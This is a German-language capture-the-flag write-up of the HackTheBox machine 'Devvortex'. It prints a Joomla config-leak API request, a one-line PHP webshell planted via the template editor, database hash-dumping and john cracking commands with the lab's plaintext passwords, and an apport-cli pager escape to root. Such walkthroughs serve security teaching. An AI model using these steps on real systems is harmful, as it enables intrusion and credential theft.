// HackTheBox
Devvortex
Joomla Unauth-Info-Disclosure (CVE-2023-23752) → Admin-Template-Editor-RCE → apport-cli sudo (CVE-2023-1326)
Aufklärung
nmap zeigt nur die üblichen zwei Ports:
| Port | Dienst |
|---|---|
| 22 | SSH |
| 80 | HTTP (nginx, generische “DevVortex”-Landingpage) |
Die Default-Seite ist eine statische “DevVortex”-Landingpage — kein
Joomla-Generator-Tag, kein /administrator-Panel. Die interessante Fläche steckt
hinter einem virtuellen Host (vhost): ein Webserver kann je nach Host-Header,
den der Browser sendet, verschiedene Seiten ausliefern. Beim manuellen Raten von
Host-Headern antwortet dev.devvortex.htb mit einem 200 (unterscheidet sich vom
302-Redirect des Default-vhosts), und der Seitenquelltext verweist auf
cassiopeia-Template-Assets — das verräterische Zeichen einer Joomla-Installation.
Trage den Namen in /etc/hosts ein, damit er auflöst, und behandle diesen vhost als
das eigentliche Ziel:
<target-ip> devvortex.htb dev.devvortex.htb
Vhost-Enumeration war hier wichtiger als Pfad-Enumeration: die gesamte Joomla-Instanz lebte unter einem eigenen Host-Header und war von der Default-Seite aus unsichtbar.
Erstzugang — CVE-2023-23752 (Joomla Unauth-Info-Disclosure) → Admin-Login → Template-Editor-RCE
1. configuration.php über die REST-API leaken
Joomla 4.x bringt eine REST-API mit, und CVE-2023-23752 ist ein
Zugriffskontrollfehler darin: das Anhängen von ?public=true an bestimmte
API-Endpunkte umgeht die Authentifizierungsprüfung. Ein nicht authentifizierter
Aufruf des Anwendungskonfigurations-Endpunkts gibt die aktiven Einstellungen der
Seite aus:
GET /api/index.php/v1/config/application?public=true
Die Antwort liefert den vollständigen Inhalt der configuration.php,
einschließlich der Datenbank-Credentials im Klartext: user=lewis,
password=P4ntherg0t1n5r3c0n##. Das ist ein vollständiger Konfigurations-Leak
(DB-Host, User und Passwort), nicht nur eine geringfügige Info-Disclosure — das
geleakte Passwort ist es also wert, überall ausprobiert zu werden, nicht nur gegen
MySQL.
2. Admin-Login durch Credential-Wiederverwendung
Dasselbe Passwort funktioniert als Joomla-Admin-Passwort für den Benutzer
lewis unter /administrator — das Passwort des DB-Benutzers wurde für den
CMS-Super-User-Account wiederverwendet. Sich außerhalb eines Browsers einzuloggen
bedeutet, Joomlas Login-POST nachzubilden: das Login-Formular abrufen, sein
CSRF-Token abgreifen (ein sitzungsbezogener Anti-Forgery-Wert, den Joomla bei jeder
zustandsändernden Anfrage verlangt) und es dann mit option=com_login&task=login
plus den Credentials lewis:P4ntherg0t1n5r3c0n## zurückposten.
3. Template-Manager → RCE als www-data
Joomlas eingebauter Template-Manager (com_templates) erlaubt einem
authentifizierten Super User, den PHP-Quellcode von Templates direkt im Browser zu
bearbeiten — ein zuverlässiger RCE-Pfad, der kein CVE benötigt, sobald
Admin-Zugriff besteht. Bearbeite cassiopeia/error.php und setze eine einzeilige
Webshell vor den ursprünglichen Inhalt:
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
Zwei Dinge bringen ein Speichern außerhalb des Browsers zum Stolpern:
- Jedes versteckte Feld zählt. Der
template.save-POST benötigtjform[extension_id]undjform[filename](beide aus den eigenen versteckten Inputs des Bearbeitungsformulars gescraped) zusätzlich zujform[source],task=template.saveund dem CSRF-Token. Lässt man diese beiden weg, verpufft das Speichern still — keine Fehlerseite, die bestehende Datei unverändert — es lohnt sich also, jedes versteckte Input aus dem echten Bearbeitungsformular zu extrahieren, statt die minimale Menge zu raten. - Der Pfad ist doppelt. Der Wert von
jform[filename], den das Formular selbst meldet, war/var/www/dev.devvortex.htb/templates/cassiopeia/cassiopeia/error.php— ein doppeltescassiopeia-Pfadsegment (eine Dateimanager-Pfad-Eigenart in dieser Joomla-Version). So landete die aktive, über das Web erreichbare Kopie der bearbeiteten Datei unter/templates/cassiopeia/cassiopeia/error.php, nicht unter dem erwarteten/templates/cassiopeia/error.php. Diesem doppelten Pfad ist es wert, wörtlich vertraut zu werden, statt ihn als Anzeigefehler abzutun — bestätigt durch das Testen beider Pfade.
Der Aufruf der platzierten Shell unter dem doppelten Pfad führt Befehle als
www-data aus:
GET /templates/cassiopeia/cassiopeia/error.php?cmd=id
Die gesamte Kette (Formular abrufen → Token scrapen → speichern → auslösen) wurde
in exploit/joomla_template_rce.rb verpackt (Ruby + net/http + nokogiri, ad
hoc per gem installiert statt vorinstalliert).
Rechteausweitung
1. www-data → logan über geknackten DB-Hash
Mit einer Shell liegen dieselben DB-Credentials in der configuration.php auf der
Platte. Nutze sie mit dem lokalen MySQL-Client, um die Joomla-Benutzertabelle direkt
zu lesen — die Tabelle ist auf dieser Installation mit sd4fg_ präfixiert, also
sd4fg_users:
$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -D joomla -e "SELECT username,password FROM sd4fg_users;"
Das liefert bcrypt-Passwort-Hashes für die CMS-Accounts. john ist vorinstalliert;
gegen rockyou.txt gerichtet knackt es logans Hash in etwa sieben Sekunden:
$ john --wordlist=/usr/share/wordlists/rockyou.txt logan.hash
Der Klartext ist tequieromucho, und er ist auch logans echtes
System-/SSH-Passwort — ein zweiter, unabhängiger Fall von
Credential-Wiederverwendung auf dieser Box. (lewis’ eigener Hash musste nie
geknackt werden: der bereits bekannte Klartext P4ntherg0t1n5r3c0n## passte in der
Gegenrichtung dazu.) ssh logan@... liefert eine echte User-Shell.
2. logan → root über apport-cli (CVE-2023-1326)
logan hat eine einzige sudo-Berechtigung:
$ sudo -l
(ALL : ALL) /usr/bin/apport-cli
Sie erfordert ein Passwort (kein NOPASSWD). apport-cli ist Ubuntus
Crash-Report-Werkzeug, und CVE-2023-1326 ist ein Rechteausweitungs-Bug darin:
wenn apport-cli einen Report durch seinen Pager (less) anzeigt, läuft der Pager,
ohne Privilegien abzugeben, sodass ein !-Shell-Escape aus less heraus eine Shell
als root startet. Löse einen Report aus, zeige ihn an und breche aus dem Pager aus:
sudo /usr/bin/apport-cli -f -p bash
# at the S/V/K/I/C prompt: V (view report)
# at the less ':' prompt: !/bin/bash
Stolperfalle — dies benötigt ein echtes TTY von Ende zu Ende. Füttere das
sudo-Passwort nicht per echo pw | sudo -S ...: das leitet den stdin der gesamten
Pipeline — einschließlich der späteren termios-Aufrufe von apport-cli — auf die
Pipe um, und in dem Moment, in dem es versucht, einen rohen Tastendruck zu lesen,
stirbt es mit termios.error: (25, 'Inappropriate ioctl for device'). Gib das
sudo-Passwort stattdessen an seinem normalen interaktiven Prompt ein. Da dies ein
mehrstufiger interaktiver Ablauf ist, wurde er mit expect über ein ssh -tt PTY
gesteuert, mit zuvor gesetzten stty rows/cols (die vom CVE selbst genannte
Voraussetzung), dann Passwort → V → !/bin/bash. Die ausgebrochene Shell läuft
als root — root.txt.
Erkenntnisse
- Vhost-Enumeration war hier wichtiger als Pfad-Enumeration — die eigentliche Joomla-
Instanz lebte vollständig unter einem eigenen Host-Header (
dev.devvortex.htb), unsichtbar vom Default-vhost aus. - CVE-2023-23752 ist ein vollständiger Konfigurations-Leak (DB-Host/User/Passwort), nicht nur eine geringfügige Info-Disclosure — das geleakte DB-Passwort immer auch gegen das eigene Admin-Login des CMS prüfen, nicht nur gegen die Datenbank selbst.
- Joomlas eigener Template-Manager auf der Admin-Seite ist ein zuverlässiger, kein-CVE-benötigender RCE-Pfad, sobald Super-User-Zugriff besteht — aber die Nachbildung seines Save-Requests außerhalb eines echten Browsers erfordert das Scrapen jedes versteckten Formularfelds (nicht nur der offensichtlich benannten); extension_id/filename waren leicht zu übersehen und ließen das Speichern still verpuffen.
- Ein “doppeltes Pfadsegment”-Bug in dem Dateipfad, den ein Formular selbst meldet, ist es wert, wörtlich vertraut zu werden (den Pfad exakt wie angegeben testen), statt anzunehmen, es sei ein kosmetischer Anzeigefehler.
- Passwort-Wiederverwendungs-Ketten können auf einer Box mehrstufig sein (DB-Passwort → CMS-Admin; ein anderer geknackter Hash → ein anderer System-Account) — nicht annehmen, ein Wiederverwendungs- Fund sei der einzige.
- Interaktive mehrstufige Remote-Exploitation (Pager-Escapes, TUI-Prompts) benötigt ein
echtes PTY von Ende zu Ende;
expect/sshpassüberssh -ttfunktioniert, aber ein per stdin gepiptes sudo- Passwort bricht jeden späteren interaktiven Schritt in derselben Befehlskette.